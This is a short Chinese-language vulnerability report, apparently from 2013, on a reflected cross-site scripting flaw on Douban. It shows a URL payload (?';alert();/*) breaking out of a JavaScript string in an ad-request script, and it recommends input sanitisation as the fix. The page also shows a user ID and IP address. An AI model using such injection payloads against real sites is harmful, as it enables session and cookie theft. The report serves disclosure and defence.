当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

Douban反射型跨站

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:


可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
 


 

view-source:?';alert();/*


<script type="text/javascript">
    (function (global) {
        var newNode = global.document.createElement('script'),
            existingNode = global.document.getElementsByTagName('script')[0],
            adSource = '',
            userId = '2025898',
            browserId = 'S/AE5RYypw4',
            ipAddress = '114.254.41.32',
            criteria = '3:/?';alert();/*',
            preview = '',
            debug = false,
            adSlots = ['dale_location_home_top_right'];

        global.DoubanAdRequest = {src: adSource, uid: userId, bid: browserId, ip: ipAddress, crtr: criteria, prv: preview, debug: debug};
        global.DoubanAdSlots = (global.DoubanAdSlots || []).concat(adSlots);

        newNode.setAttribute('type', 'text/javascript');
        newNode.setAttribute('src', '');
        newNode.setAttribute('async', true);
        existingNode.parentNode.insertBefore(newNode, existingNode);
    })(this);
</script>
修复方案:

清理用户输入,涛涛电脑知识网,涛涛电脑知识网,并过滤出代码。

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1